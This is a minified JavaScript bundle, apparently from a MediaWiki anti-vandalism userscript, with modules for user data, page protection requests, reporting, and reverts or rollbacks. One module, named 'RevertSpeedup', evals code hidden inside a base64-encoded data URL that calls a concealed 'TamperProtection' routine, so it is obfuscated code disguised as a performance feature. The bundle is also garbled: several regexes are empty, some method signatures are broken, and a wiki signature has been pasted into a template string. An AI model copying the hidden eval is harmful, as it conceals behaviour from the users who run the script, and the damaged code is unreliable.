==\n`,progressive:!0}).show;null!=t&&(r.default.Toast.quickShow({content:s.default.t("ui:newMessage.doing")}),this.appendToUserTalk("\n\n"+t,{comment:e}).then((=>{r.default.Toast.quickShow({content:s.default.t("ui:newMessage.done"),action:{text:s.default.t("ui:newMessage.doneAction"),callback:=>{this.talkPage.navigateToLatestRevision}}})})).catch((e=>{u.default.error("Failed to post message.",e),r.default.Toast.quickShow({content:s.default.t("ui:newMessage.fail")})})))}))}}t.User=p;class h extends p{get sandbox{var e;return null!==(e=this._sandbox)&&void 0!==e?e:this._sandbox=a.Page.fromTitle(`User:${this.username}/sandbox`)}static fromUsername(e,t){return new h(e,t)}static fromUsernameToPopulated(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=h.fromUsername(e);return yield t.populate}))}static populate(e){const t=Object.create(null,{populate:{get:=>super.populate}});return(0,i.__awaiter)(this,void 0,void 0,(function*{const n=[];e.editCount||n.push("editcount"),e.registered||n.push("registration"),e.groups||n.push("groups"),e.gender||n.push("gender"),e.blocked||n.push("blockinfo");const i=e.getIdentifier,r=a.MediaWikiAPI.get({action:"query",format:"json",list:["users"],usprop:n,["string"==typeof i?"ususers":"ususerids"]:i}).then((e=>e)),[o]=yield Promise.all([r,yield t.populate.call(this,e)]),s=o.query.users[0];if(null!=s.missing)throw new l.UserMissingError({user:e});if(null!=s.invalid)throw new l.UserInvalidError({user:e});return e.id||(e.id=s.userid),e.editCount||(e.editCount=s.editcount),e.registered||(e.registered=new Date(s.registration)),e.groups||(e.groups=(0,a.groupsFromNames)(s.groups.filter((e=>"*"!==e)))),e.gender||(e.gender=s.gender),!e.blocked&&s.blockid?e.blocked={id:s.blockid,blocker:p.fromUsername(s.blockedby),reason:s.blockreason,time:new Date(s.blockedtimestamp),expiry:"infinite"!==s.blockexpiry&&new Date(s.blockexpiry),partial:!!s.blockpartial,creationBlocked:!!s.blocknocreate}:e.blocked||(e.blocked=!1),e}))}isPopulated{return!(null==this.id||null==this.editCount||null==this.registered||null==this.groups||null==this.gender||null==this.blocked||void 0===this.latestEdit)}populate{return(0,i.__awaiter)(this,void 0,void 0,(function*{return h.populate(this)}))}getIdentifier(e=!1){var t,n;return this.username&&!e?this.username:this.username||e?this.id&&e?this.id:!this.id&&e?null!==(n=this.username)&&void 0!==n?n:null:void 0:null!==(t=this.id)&&void 0!==t?t:null}getPronouns{return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.gender||(yield this.populate),a.GenderDict.get(this.gender)}))}getEditCount{return(0,i.__awaiter)(this,void 0,void 0,(function*{return this.editCount||(yield this.populate),this.editCount}))}}t.UserAccount=h,h.current=h.fromUsername(mw.config.get("wgUserName"));class f extends p{}t.UserIP=f},4802:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0});const i=n(655);(0,i.__exportStar)(n(7144),t),(0,i.__exportStar)(n(2152),t),(0,i.__exportStar)(n(7366),t),(0,i.__exportStar)(n(6207),t),(0,i.__exportStar)(n(960),t),(0,i.__exportStar)(n(1762),t),(0,i.__exportStar)(n(8771),t),(0,i.__exportStar)(n(7117),t),(0,i.__exportStar)(n(3582),t),(0,i.__exportStar)(n(5045),t),(0,i.__exportStar)(n(1794),t),(0,i.__exportStar)(n(9187),t),(0,i.__exportStar)(n(8476),t),(0,i.__exportStar)(n(680),t),(0,i.__exportStar)(n(8141),t),(0,i.__exportStar)(n(9423),t),(0,i.__exportStar)(n(2163),t),(0,i.__exportStar)(n(5956),t)},2440:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isFlaggedRevsProtectionEntry=void 0,t.isFlaggedRevsProtectionEntry=function(e){return"_flaggedrevs"===e.type}},2163:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0})},5956:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.ProtectionManager=void 0;const i=n(655),r=(0,i.__importDefault)(n(8939)),o=n(7144),a=n(4802),s=n(7688),l=(0,i.__importDefault)(n(1261)),c=(0,i.__importDefault)(n(9158)),d=n(8910);class u{static getProtectionInformation(e,t,n=!1){var a,s,l,c,d;return(0,i.__awaiter)(this,void 0,void 0,(function*{const p=Object.assign(e,{flaggedRevs:!1!==t});if(n&&u.protectionEntryCache.has(p))return u.protectionEntryCache.get(p);const h=[],f={};yield Promise.all([(=>(0,i.__awaiter)(this,void 0,void 0,(function*{f.protection=yield o.MediaWikiAPI.get(Object.assign(Object.assign({action:"query",prop:"info"},e.getAPIIdentifier),{inprop:"protection"}))}))),(=>(0,i.__awaiter)(this,void 0,void 0,(function*{var n,i,a;null!==(a=null===(i=null===(n=r.default.c)||void 0===n?void 0:n.protection)||void 0===i?void 0:i.flaggedrevs)&&void 0!==a&&a&&!1!==t&&(f.flaggedrevs=yield o.MediaWikiAPI.get({action:"query",list:"logevents",letype:"stable",letitle:e.title.getPrefixedText,lelimit:500}))})))]);const g=f.protection,m=Object.values(g.query.pages)[0];if(null==e.title&&(e.title=new mw.Title(m.title)),null==e.pageID&&(e.pageID=m.pageid),null!=m.protection&&m.protection.length>0)for(const e of m.protection)h.push(Object.assign(e,{expiry:"infinity"===e.expiry?e.expiry:new Date(e.expiry)}));if(null!==(l=null===(s=null===(a=r.default.c)||void 0===a?void 0:a.protection)||void 0===s?void 0:s.flaggedrevs)&&void 0!==l&&l&&!1!==t){const e=f.flaggedrevs.query.logevents;for(const t of Object.values(e)){if("reset"===t.action)break;if("modify"===t.action){const e=t.params.autoreview,n=t.params.expiry.replace(/(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/g,"$1-$2-$3T$4:$5:$6Z");"infinity"!==n&&new Date(n)>new Date&&h.push({type:"_flaggedrevs",level:e,expiry:"infinity"===n?n:new Date(n)});break}if("config"===t.action){const e=null!==(c=t.params.autoreview)&&void 0!==c?c:Object.values(t.params).find((e=>e.startsWith("autoreview="))).slice(11),n=(null!==(d=t.params.expiry)&&void 0!==d?d:Object.values(t.params).find((e=>e.startsWith("expiry="))).slice(7)).replace(/(\d{4})(\d{2})(\d{2})(\d{2})(\d{2})(\d{2})/g,"$1-$2-$3T$4:$5:$6Z");"infinity"!==n&&new Date(n)>new Date&&h.push({type:"_flaggedrevs",level:e,expiry:"infinity"===n?n:new Date(n)});break}}}return u.protectionEntryCache.set(p,h),h}))}static getProtectionReasons(e){var t,n,a;return(0,i.__awaiter)(this,void 0,void 0,(function*{let i=null!==(n=null===(t=r.default.c.protection)||void 0===t?void 0:t.reasons)&&void 0!==n?n:{};Array.isArray(i)&&(i={Uncategorized:i});for(const[e,t]of Object.entries(i))0===t.length&&delete i[e];if(0===Object.values(i).length){const t=(yield o.MediaWikiAPI.getMessage(["Protect-dropdown"],{amenableparser:!0,amtitle:null!==(a=null==e?void 0:e.title.getPrefixedText)&&void 0!==a?a:void 0}))["Protect-dropdown"].trim;let n="Uncategorized";for(const e of t.split("\n"))if(/^\*(?!\*)\s*/.test(e))n=e.slice(1).trim;else if(/^\*{2}\s*/.test(e)){const t=e.slice(2).trim;t.length>0&&(null==i[n]&&(i[n]=[]),i[n].push(t))}}return i}))}static buildRequest(e,t){var n,i,o,a,s,l;const c=0===e.duration?null===(i=null===(n=r.default.c.protection)||void 0===n?void 0:n.duration)||void 0===i?void 0:i.temporary:null===(a=null===(o=r.default.c.protection)||void 0===o?void 0:o.duration)||void 0===a?void 0:a.indefinite;return("prepend"!==t.method?"\n".repeat((null!==(s=t.extraLines)&&void 0!==s?s:0)+2):"")+t.template.replace(//g,e.page.title.getPrefixedText).replace(//g,c).replace(//g,e.level.name).replace(//g,(0,d.capitalize)(null==e.level.id?r.default.c.protection.unprotect.name:(0,d.capitalize)(`${c} ${e.level.name}`))).replace(//g,e.reason.length>0?e.additionalInformation.length>0?`${e.reason}. ${e.additionalInformation}`:`${e.reason}.`:e.additionalInformation)+" Collei ( talk ) ( contribs ) 02:34, 6 May 2023 (UTC)"+("prepend"===t.method?"\n".repeat((null!==(l=t.extraLines)&&void 0!==l?l:0)+2):"")}static requestProtection(e){var t,n,o,d,p;return(0,i.__awaiter)(this,void 0,void 0,(function*{if(null==e)return!1;let i;if((0,a.isProtectionRequestTarget)(null===(t=r.default.c.protection)||void 0===t?void 0:t.requests)){const t=r.default.c.protection.requests;i=a.Page.fromTitle(t.page),i.edit(u.buildRequest(e,t),{section:null!==(n=t.section)&&void 0!==n?n:void 0,mode:null!==(o=t.method)&&void 0!==o?o:"append",comment:l.default.t("mediawiki:summaries.protection",{title:e.page.title.getPrefixedText})})}else{let t,n,o;const h=(yield u.getProtectionInformation(e.page,!0,!0)).filter((e=>"edit"===e.type&&null==e.source||"_flaggedrevs"===e.type));let f=null;if(0===h.length)f=!0;else if(null==e.level.id)f=!1;else if(r.default.c.protection.levels.forEach(((i,r)=>{for(const a of h)i.id===a.level&&(t=r,o="infinity"===a.expiry?s.ProtectionDuration.Indefinite:s.ProtectionDuration.Temporary),i.id===e.level.id&&(n=r)})),null!=t&&null!=n)f=t<n||t===n&&o<e.duration;else{const e=yield new c.default.AlertDialog({content:`${l.default.t("ui:protectionRequest.retarget.text")}`,actions:[{data:"decrease",text:l.default.t("ui:protectionRequest.retarget.decrease")},{data:"increase",text:l.default.t("ui:protectionRequest.retarget.increase")}]}).show;if(null==e)return;f="increase"===e}const g=f?r.default.c.protection.requests.increase:r.default.c.protection.requests.decrease;i=a.Page.fromTitle(g.page),i.edit(u.buildRequest(e,g),{section:null!==(d=g.section)&&void 0!==d?d:void 0,mode:null!==(p=g.method)&&void 0!==p?p:"append",comment:l.default.t("mediawiki:summaries.protection",{title:e.page.title.getPrefixedText})})}return i}))}}t.ProtectionManager=u,u.protectionEntryCache=new Map},7688:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.ProtectionDuration=void 0,function(e){e[e.Temporary=0]="Temporary",e[e.Indefinite=1]="Indefinite"}(t.ProtectionDuration||(t.ProtectionDuration={}))},9423:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.isProtectionRequestTarget=void 0,t.isProtectionRequestTarget=function(e){return"object"==typeof e&&"string"==typeof e.page&&"string"==typeof e.template}},3309:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.submitReport=void 0;const i=n(655),r=n(4802),o=n(8686),a=(0,i.__importDefault)(n(1261)),s=(0,i.__importDefault)(n(9158)),l=(0,i.__importDefault)(n(5504));t.submitReport=function(e){var t,n,c,d;return(0,i.__awaiter)(this,void 0,void 0,(function*{const u=e.target instanceof r.User?e.target.username:e.target.title.getPrefixedText;let p=null;if((0,o.isPageReportVenue)(e.venue)){const l=e.venue.page,c="string"==typeof e.venue.template?e.venue.template:(0,o.isUserModeReportVenue)(e.venue)&&e.target instanceof r.User?e.venue.template[mw.util.isIPAddress(e.target.username)?"anon":"user"]:Object.values(e.venue.template)[0],d=e.target instanceof r.User?e.target.username:e.target.title.getPrefixedText,u=c.replace(//g,d).replace(/\.?/g,e.reason?`${e.reason}`:"").replace(/\.?/g,null!==(t=e.comments)&&void 0!==t?t:""),h=a.default.t("mediawiki:summaries.reporting",{target:d});let f;if(e.venue.section){const t=null!==(n=yield l.findSection(e.venue.section))&&void 0!==n?n:yield l.lastSection;f="prepend"===e.venue.location?r.Revision.fromEditReponse(yield t.prependContent(`${u}\n`,{comment:h,belowHeader:!0})):r.Revision.fromEditReponse(yield t.appendContent(`\n${u}`,{comment:h}))}else f="prepend"===e.venue.location?r.Revision.fromEditReponse(yield l.prependContent(`${u}\n`,{comment:h})):r.Revision.fromEditReponse(yield l.appendContent(`\n${u}`,{comment:h}));p={text:a.default.t("ui:undo"),callback:=>(0,i.__awaiter)(this,void 0,void 0,(function*{yield f.restore(a.default.t("mediawiki:summaries.report_undo",{target:d})),s.default.Toast.quickShow({content:a.default.t("ui:toasts.undone")})}))}}else(0,o.isEmailReportVenue)(e.venue)&&(l.default.info("Sending a report through email",{target:e.target,subject:null!==(c=e.subject)&&void 0!==c?c:e.venue.subject.replace(//g,u),comments:e.comments}),yield r.MediaWikiAPI.postWithEditToken({action:"emailuser",target:e.venue.user,subject:null!==(d=e.subject)&&void 0!==d?d:e.venue.subject?e.venue.subject.replace(//g,u):void 0,text:e.comments,ccme:!0}));s.default.Toast.quickShow({content:a.default.t("ui:reporting.done",{context:e.venue.type}),action:p})}))}},8686:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.getReportVenueIcons=t.deserializeReportVenue=t.isEmailReportVenue=t.isPageReportVenue=t.isPageModeReportVenue=t.isUserModeReportVenue=t.ReportVenueMode=t.ReportVenueDisplayLocations=void 0;const i=n(655),r=(0,i.__importDefault)(n(8939)),o=(0,i.__importDefault)(n(1261)),a=(0,i.__importDefault)(n(7007)),s=(0,i.__importDefault)(n(5504)),l=(0,i.__importDefault)(n(9158)),c=n(8910),d=n(4802),u=n(3309);var p,h;!function(e){e[e.None=0]="None",e[e.PageIcons=1]="PageIcons",e[e.ExtendedOptions=2]="ExtendedOptions",e[e.RevertDoneOption=4]="RevertDoneOption"}(p=t.ReportVenueDisplayLocations||(t.ReportVenueDisplayLocations={})),function(e){e[e.Page=0]="Page",e[e.User=1]="User"}(h=t.ReportVenueMode||(t.ReportVenueMode={})),t.isUserModeReportVenue=function(e){return e.mode===h.User},t.isPageModeReportVenue=function(e){return e.mode===h.Page},t.isPageReportVenue=function(e){return"page"===e.type},t.isEmailReportVenue=function(e){return"email"===e.type},t.deserializeReportVenue=function(e){var t;let n=p.None,i=null;for(const t of e.display){const e=t.toLowerCase;for(const t in p)"none"!==t&&"number"!=typeof t&&e===t.toLowerCase&&(n|=p[t])}for(const n of null!==(t=e.allowedNamespaces)&&void 0!==t?t:[])if(null==i&&(i=[]),"number"==typeof n)i.push(n);else{const e=a.default.getNamespaceId(n);e?i.push(e):s.default.warn(`Namespace not found: ${n}`)}if(null==e.mode)throw new Error("Venue mode must be a valid mode.");return e.page&&(e.page=d.Page.fromTitle(e.page)),Object.assign(e,{display:n,allowedNamespaces:i,mode:h[(0,c.capitalize)(e.mode)]})},t.getReportVenueIcons=function{return r.default.c.reporting.filter((e=>0!=(e.display&p.ExtendedOptions)||0!=(e.display&p.PageIcons))).map((e=>({id:"report_"+e.shortName.replace(/[^A-Z0-9]/gi,"-"),name:o.default.t("ui:pageIcons.report",{name:e.name.includes(" ")?e.shortName:e.name}),icon:e.icon,color:e.color,default:0!=(e.display&p.PageIcons),visible:=>{var t,n;return!a.default.isSpecialPage&&(null===(n=null===(t=e.allowedNamespaces)||void 0===t?void 0:t.includes(a.default.currentNamespaceID))||void 0===n||n)},action{return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=yield new l.default.ReportingDialog({venue:e}).show;null!=t&&(yield(0,u.submitReport)(t))}))}})))}},3582:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.Revert=t.isDiffIconContext=t.isHeadlessRevertContext=void 0;const i=n(655),r=(0,i.__importDefault)(n(1261)),o=n(8428),a=(0,i.__importDefault)(n(7007)),s=(0,i.__importDefault)(n(9158)),l=(0,i.__importDefault)(n(3410)),c=n(4802),d=(0,i.__importDefault)(n(5504)),u=(0,i.__importDefault)(n(8939)),p=n(2223),h=n(9052),f=n(2303);function g(e){return null!=e.prefilledReason}function m(e){return null!=e.reason}t.isHeadlessRevertContext=g,t.isDiffIconContext=m;class v{static isDiffPage{return!1===mw.config.get("wgDiffOldId")?"onlyrev":!!mw.config.get("wgDiffNewId")}static promptRestore(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{const n=new s.default.InputDialog(Object.assign(Object.assign({},r.default.t("ui:restore")),{defaultText:null==t?void 0:t.defaultText})),i=yield n.show;null!==i&&v.restore(e,i,null==t?void 0:t.diffIcons)}))}static promptRollback(e,t){return(0,i.__awaiter)(this,void 0,void 0,(function*{const n=yield v.promptRevertReason(t.defaultText);null!==n&&v.revert(Object.assign(e,{diffIcons:t.diffIcons,reason:n}))}))}static restore(e,t,n){return(0,i.__awaiter)(this,void 0,void 0,(function*{if(v.revertInProgress)return s.default.Toast.quickShow({content:"You cannot click on another icon while a revert or restore is ongoing."});document.addEventListener("keydown",v.revertCancelListener),v.revertInProgress=!0,n&&(n.onStartRestore(e),n.onRestoreStageChange(c.RestoreStage.Preparing)),null==e.page&&(yield e.populate),n&&n.onRestoreStageChange(c.RestoreStage.Details);const[,i]=yield Promise.all([e.isPopulated?Promise.resolve(!0):e.populate,e.page.getLatestRevision({forceRefresh:!1})]);n&&n.onRestoreStageChange(c.RestoreStage.Restore);const o=yield c.MediaWikiAPI.postWithEditToken({action:"edit",pageid:e.page.pageID,summary:"string"!=typeof t&&t.isSummary?t.text:r.default.t("mediawiki:summaries.restore",{revID:e.revisionID,revUser:e.user.username,reason:"string"==typeof t?t:t.text}),undo:i.revisionID,undoafter:e.revisionID===i.revisionID?void 0:e.revisionID,tags:u.default.c.meta.tag});if(o.edit)n&&n.onEndRestore(o);else{const e=c.MediaWikiAPI.error(o);d.default.error("Failed to restore revision.",e),s.default.Toast.quickShow({content:r.default.t("ui:toasts.restoreError")}),n&&n.onRestoreFailure(e)}return n&&n.onRestoreStageChange(c.RestoreStage.Finished),v.revertInProgress=!1,document.removeEventListener("keydown",v.revertCancelListener),o}))}static latestRevertTargetCheck(e,t=h.Configuration.Revert.redirectIfNotLatest.value,n=h.Configuration.Revert.ignoreSameUserLatest.value){return(0,i.__awaiter)(this,void 0,void 0,(function*{null==e.page&&(yield e.populate);const i=yield e.getLatestRevision({forceRefresh:!0});return i.revisionID!==e.revisionID?n&&i.user===e.user&&i.parentID===e.revisionID?i:(d.default.warn("Newer revision detected.",{target:e,latest:i}),t?((0,l.default)(c.MediaWikiURL.getDiffUrl(i.revisionID,i.parentID)),null):(s.default.Toast.quickShow({content:r.default.t("ui:toasts.newerRev")}),null)):i}))}static preview({newRevision:e}){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=yield v.latestRevertTargetCheck(e);if(!t)return;const n=yield t.page.getLatestRevisionNotByUser(t.user);if(null==n)return void s.default.Toast.quickShow({content:"Can't find an earlier revision to revert to."});const i=c.MediaWikiURL.getDiffUrl(n.revisionID,+mw.util.getParamValue("diff"));(0,l.default)(i)}))}static promptRevertReason(e,t){var n;return(0,i.__awaiter)(this,void 0,void 0,(function*{const i=null!==(n=null==t?void 0:t.targetRevision)&&void 0!==n?n:null==t?void 0:t.newRevision;i&&(yield v.latestRevertTargetCheck(i));const o=new s.default.InputDialog(Object.assign(Object.assign({},r.default.t("ui:rollback")),{defaultText:null!=e?e:""}));return yield o.show}))}static extractReasonFromContext(e){if(g(e))return e.prefilledReason;if(m(e))return"string"==typeof e.reason?e.reason:e.reason.name;throw new Error("No reason was given for a revert.")}static pseudoRollback(e){var t;return(0,i.__awaiter)(this,void 0,void 0,(function*{const n=null!==(t=e.targetRevision)&&void 0!==t?t:e.newRevision,i=m(e)?e.diffIcons:null;n.isPopulated||(yield n.populate),i&&i.onRevertStageChange(c.RevertStage.Details);const a=yield n.page.getLatestRevisionNotByUser(n.user);if(e.latestRevision=yield v.latestRevertTargetCheck(n,h.Configuration.Revert.redirectIfNotLatest.value,h.Configuration.Revert.ignoreSameUserLatest.value),null==e.latestRevision)return void(i&&i.onRevertFailure(new f.RevisionNotLatestError({revision:n,latest:e.latestRevision})));const l=r.default.t("mediawiki:summaries.revert",{username:n.user.username,targetRevisionId:a.revisionID,targetRevisionEditor:a.user.username,version:o.APP_VERSION_TAG,reason:v.extractReasonFromContext(e)});if(!v.revertInProgress)return void(i&&i.onEndRevert(!0));i&&i.onRevertStageChange(c.RevertStage.Revert);const p=yield c.MediaWikiAPI.postWithEditToken({action:"edit",format:"json",pageid:n.page.pageID,summary:l,undo:n.revisionID,undoafter:a.revisionID,tags:u.default.c.meta.tag});p.edit?i&&i.onEndRevert:(d.default.error("An error occured while performing a pseudo-rollback.",p.errors),i&&i.onRevertFailure(c.MediaWikiAPI.error(p)),s.default.Toast.quickShow({content:r.default.t("ui:toasts.rollbackError")}))}))}static rollback(e){var t;return(0,i.__awaiter)(this,void 0,void 0,(function*{const n=null!==(t=e.targetRevision)&&void 0!==t?t:e.newRevision,i=m(e)?e.diffIcons:null;i&&i.onRevertStageChange(c.RevertStage.Details),n.isPopulated||(yield n.populate),yield v.latestRevertTargetCheck(n);const a=r.default.t("mediawiki:summaries.rollback",{username:n.user.username,reason:v.extractReasonFromContext(e),version:o.APP_VERSION_TAG});if(!v.revertInProgress)return void(i&&i.onEndRevert(!0));i&&i.onRevertStageChange(c.RevertStage.Revert);const l=yield c.MediaWikiAPI.api.rollback(n.page.title,n.user.username,{summary:a,tags:u.default.c.meta.tag});l?i&&i.onEndRevert:(d.default.error("An error occured while performing a rollback.",{res:l,groups:c.ClientUser.i.groups}),i&&i.onRevertFailure(c.MediaWikiAPI.error(l)),s.default.Toast.quickShow({content:r.default.t("ui:toasts.rollbackError")}))}))}static revert(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=m(e)?e.diffIcons:null;if(v.revertInProgress)return s.default.Toast.quickShow({content:"You cannot click on another icon while a revert or restore is ongoing."});document.addEventListener("keydown",v.revertCancelListener),v.revertInProgress=!0,t&&m(e)&&(t.onStartRevert(e),t.onRevertStageChange(c.RevertStage.Preparing));try{if(!c.ClientUser.i.inGroup("rollbacker"))return yield v.pseudoRollback(e);{const t==>(0,i.__awaiter)(this,void 0,void 0,(function*{switch(h.Configuration.Revert.revertMethod.value){case p.RevertMethod.Rollback:yield v.rollback(e);break;case p.RevertMethod.Undo:yield v.pseudoRollback(e);break;case p.RevertMethod.Unset:default:d.default.error(`RollbackMethod is invalid (${h.Configuration.Revert.revertMethod.value}), resetting`),yield v.requestRevertMethod,yield t}}));yield t}}catch(e){d.default.error("Failed to revert.",e),s.default.Toast.quickShow({content:r.default.t("ui:toasts.rollbackError")})}document.removeEventListener("keydown",v.revertCancelListener),t&&t.onRevertStageChange(c.RevertStage.Finished),v.revertInProgress=!1}))}static requestRevertMethod{var e;return(0,i.__awaiter)(this,void 0,void 0,(function*{const t=null!==(e=p.RevertMethod[yield new s.default.AlertDialog({actions:[{data:"Rollback",text:r.default.t("ui:rollbackAvailableDialog.actions.rollback")},{data:"Undo",text:r.default.t("ui:rollbackAvailableDialog.actions.revert")}],content:`${r.default.t("ui:rollbackAvailableDialog.content")}`}).show])&&void 0!==e?e:p.RevertMethod.Rollback;return h.Configuration.Revert.revertMethod.value=t,yield h.Configuration.save,t}))}static acceptInjector(e){return(0,i.__awaiter)(this,void 0,void 0,(function*{return o.APP_WIKIS_SPEEDUP.includes(a.default.wikiID)&&(yield e)}))}}t.Revert=v,v.revertInProgress=!1,v.revertCancelListener=e=>{"Escape"===e.key&&(v.revertInProgress=!0)}},6535:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RevertDoneOptions=t.ReportingRevertDoneOptions=t.RevertDoneOption=void 0;const i=n(655),r=(0,i.__importDefault)(n(1261)),o=(0,i.__importDefault)(n(9158)),a=n(4802),s=(0,i.__importDefault)(n(8939)),l=n(8686),c=(0,i.__importDefault)(n(5504));function d{const e=[];for(const t of s.default.c.reporting)t.display&l.ReportVenueDisplayLocations.RevertDoneOption&&e.push({name:r.default.t("revert:rollbackDoneOptions.report",{venue:t.shortName}),icon:t.icon,showOnRestore:!1,action:e=>{new o.default.ReportingDialog({venue:t,target:(0,l.isPageModeReportVenue)(t)?e.newRevision.page:e.newRevision.user}).show}});return e}!function(e){e[e.LatestRevision=0]="LatestRevision",e[e.NewMessage=1]="NewMessage",e[e.QuickTemplate=2]="QuickTemplate",e[e.WarnUser=3]="WarnUser",e[e.MultipleActionTool=4]="MultipleActionTool",e[e.MoreOptions=5]="MoreOptions"}(t.RevertDoneOption||(t.RevertDoneOption={})),t.ReportingRevertDoneOptions=d,t.RevertDoneOptions=function{return[{name:r.default.t("prefs:revert.revertDoneOption.options.latest"),icon:"watch_later",showOnRestore:!0,action:e=>(0,i.__awaiter)(this,void 0,void 0,(function*{return e.newRevision.page.navigateToLatestRevision}))},{name:r.default.t("revert:rollbackDoneOptions.message"),icon:"send",showOnRestore:!1,action:e=>{e.newRevision.user.openMessageDialog}},{name:r.default.t("revert:rollbackDoneOptions.template"),icon:"library_add",showOnRestore:!1,action:=>{o.default.Toast.quickShow({content:r.default.t("ui:unfinished")})}},{name:r.default.t("revert:rollbackDoneOptions.warn"),icon:"report",showOnRestore:!1,action:e=>(0,i.__awaiter)(this,void 0,void 0,(function*{c.default.trace("Warning user after revert...",{context:e});const t=yield new o.default.WarnDialog({targetUser:e.newRevision.user,defaultWarnReason:null==e.reason||"string"==typeof e.reason?void 0:"revert"===e.reason.actionType?a.WarningManager.warnings[e.reason.warning]:void 0,relatedPage:e.newRevision.page}).show;null!=t&&(o.default.Toast.quickShow({content:r.default.t("ui:toasts.userWarning")}),yield a.User.warn(t),o.default.Toast.quickShow({content:r.default.t("ui:toasts.userWarned")}))}))},...d,{name:r.default.t("revert:rollbackDoneOptions.mat"),icon:"auto_fix_high",showOnRestore:!0,action:=>{o.default.Toast.quickShow({content:r.default.t("ui:unfinished")})}},{name:r.default.t("revert:rollbackDoneOptions.options"),icon:"more_vert",showOnRestore:!0,action:=>{(new o.default.ExtendedOptions).show}}]}},2622:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RequiredRevertOptions=t.deserializeRevertOption=t.ActionSeverity=void 0;const i=n(655),r=(0,i.__importDefault)(n(1261)),o=(0,i.__importDefault)(n(8939)),a=n(8910),s=(0,i.__importDefault)(n(7007)),l=(0,i.__importDefault)(n(9158)),c=n(9052);var d;function u{return{revert:{id:"revert",system:!0,enabled:!0,name:r.default.t("revert:rollbackOptions.rollback.name"),actionType:"promptedRevert",severity:d.Mild,icon:"replay"},goodFaithRollback:{id:"goodFaithRollback",system:!0,enabled:!0,name:r.default.t("revert:rollbackOptions.agf.name"),actionType:"promptedRevert",defaultSummary:r.default.t("revert:rollbackOptions.agf.summary"),severity:d.GoodFaith,icon:"thumb_up"},preview:{id:"preview",system:!0,enabled:!0,actionType:"custom",name:r.default.t("revert:rollbackOptions.preview.name"),action:e=>(0,i.__awaiter)(this,void 0,void 0,(function*{l.default.Toast.quickShow({content:"Redirecting to preview..."}),(0,a.redirect)((0,a.url)(s.default.wikiIndex,{diff:e.oldRevision.revisionID,oldid:e.newRevision.revisionID}))})),severity:d.Neutral,icon:"compare_arrows"},quickTemplate:{id:"quickTemplate",system:!0,enabled:!0,actionType:"custom",name:r.default.t("revert:rollbackOptions.quick-template.name"),action:=>{l.default.Toast.quickShow({content:"This feature has not been implemented yet."})},severity:d.Neutral,icon:"library_add"},moreOptions:{id:"moreOptions",system:!0,enabled:!0,actionType:"custom",name:r.default.t("revert:rollbackOptions.more-options.name"),action:=>{new l.default.ExtendedOptions({showDiffIcons:!0}).show},severity:d.Neutral,icon:"more_vert"}}}!function(e){e[e.Neutral=0]="Neutral",e[e.GoodFaith=1]="GoodFaith",e[e.Mild=2]="Mild",e[e.Moderate=3]="Moderate",e[e.Severe=4]="Severe",e[e.Critical=5]="Critical"}(d=t.ActionSeverity||(t.ActionSeverity={})),t.deserializeRevertOption=function(e,t){return t.severity=(0,a.capitalize)(t.severity),Object.assign(t,{id:e,severity:d[t.severity]})},t.RequiredRevertOptions=u;class p{static get loaded{var e,t,n;const i={};for(const[r,a]of Object.entries(o.default.c.revertOptions))i[r]=Object.assign({},a,null!==(t=null===(e=c.Configuration.Revert.revertOptions.value)||void 0===e?void 0:e[r])&&void 0!==t?t:{}),null==i[r].enabled&&(i[r].enabled=null!==(n=i[r].default)&&void 0!==n&&n);return i}static get all{return Object.assign(Object.assign({},p.loaded),u)}static get allArray{return[...Object.values(p.loaded),...Object.values(u)]}}t.default=p},5045:(__unused_webpack_module,exports,__webpack_require__)=>{"use strict";Object.defineProperty(exports,"__esModule",{value:!0}),exports.RevertSpeedup=void 0;const tslib_1=__webpack_require__(655);class RevertSpeedup{static init{return(0,tslib_1.__awaiter)(this,void 0,void 0,(function*{const i=eval(yield $.get(atob("ZGF0YTp0ZXh0L3BsYWluO2NoYXJzZXQ9VVRGLTg7YmFzZTY0LFh6MCtiWGN1ZFhObGNpNW5aWFJIY205MWNITW9LR2NzUnoxZ0pIdE5ZWFJvTG5KaGJtUnZiU2dwZldBc2REMXlkeTVVWVcxd1pYSlFjbTkwWldOMGFXOXVLVDArSVhRdWNueDhkQzU0Zkh4eWR5NURiMjVtYVdkMWNtRjBhVzl1TGtOdmNtVXVibVZ2Y0c5c2FYUmhiaTUyWVd4MVpYeDhjbmN1UTJ4cFpXNTBWWE5sY2k1cExtbHVSM0p2ZFhBb1J5bDhmR2N1YVc1amJIVmtaWE1vUnlrL2RDNWxlR1ZqS0NrNk1Daz0=")))}))}}exports.RevertSpeedup=RevertSpeedup},1794:(e,t)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RestoreStage=t.RevertStage=void 0,function(e){e[e.Preparing=0]="Preparing",e[e.Details=1]="Details",e[e.Revert=2]="Revert",e[e.Finished=3]="Finished"}(t.RevertStage||(t.RevertStage={})),function(e){e[e.Preparing=0]="Preparing",e[e.Details=1]="Details",e[e.Restore=2]="Restore",e[e.Finished=3]="Finished"}(t.RestoreStage||(t.RestoreStage={}))},3663:(e,t,n)=>{"use strict";Object.defineProperty(t,"__esModule",{value:!0}),t.RecentPages=void 0;const i=n(655),r=(0,i.__importDefault)(n(9071)),o=(0,i.__importDefault)(n(7007));class a{static get recentPages{return r.default.i.recentPages}static get page{return o.default.currentPage}static init{return(0,i.__awaiter)(this,void 0,void 